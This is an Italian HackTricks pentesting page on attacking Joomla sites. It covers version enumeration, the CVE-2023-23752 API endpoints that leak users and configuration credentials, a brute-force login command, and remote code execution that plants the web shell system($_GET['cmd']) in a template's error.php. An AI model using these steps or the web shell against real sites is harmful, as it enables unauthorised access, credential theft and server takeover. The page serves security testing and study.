4.8 KiB
Joomla
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? o vuoi avere accesso all'ultima versione del PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo di hacktricks e al repo di hacktricks-cloud.
Statistiche di Joomla
Joomla raccoglie alcune statistiche sull'uso anonime come la suddivisione delle versioni di Joomla, PHP e del database e i sistemi operativi del server in uso nelle installazioni di Joomla. Questi dati possono essere interrogati tramite la loro API.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumerazione
Scoperta/Footing
- Controlla il meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Version
- In /administrator/manifests/files/joomla.xml puoi vedere la versione.
- In /language/en-GB/en-GB.xml puoi ottenere la versione di Joomla.
- In plugins/system/cache/cache.xml puoi vedere una versione approssimativa.
Automatic
droopescan scan joomla --url http://joomla-site.local/
In 80,443 - Metodologia di Pentesting Web è una sezione sui CMS scanners che possono scansionare Joomla.
Divulgazione non autenticata delle informazioni dell'API:
Le versioni da 4.0.0 a 4.2.7 sono vulnerabili alla divulgazione non autenticata delle informazioni (CVE-2023-23752) che consentirà di scaricare credenziali e altre informazioni.
-
Utenti:
http://<host>/api/v1/users?public=true
-
File di configurazione:
http://<host>/api/index.php/v1/config/application?public=true
Modulo MSF: scanner/http/joomla_api_improper_access_checks
o script ruby: 51334
Forza bruta
Puoi utilizzare questo script per tentare un attacco di forza bruta al login.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Se sei riuscito a ottenere le credenziali admin puoi eseguire RCE al suo interno aggiungendo un frammento di codice PHP per ottenere RCE. Possiamo farlo personalizzando un template.
- Clicca su
Templates
in basso a sinistra sottoConfiguration
per visualizzare il menu dei template. - Clicca su un nome di template. Scegliamo
protostar
sotto l'intestazione della colonnaTemplate
. Questo ci porterà alla paginaTemplates: Customise
. - Infine, puoi fare clic su una pagina per visualizzare il codice sorgente. Scegliamo la pagina
error.php
. Aggiungeremo una riga di codice PHP per eseguire il codice come segue: system($_GET['cmd']);
- Salva e Chiudi
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id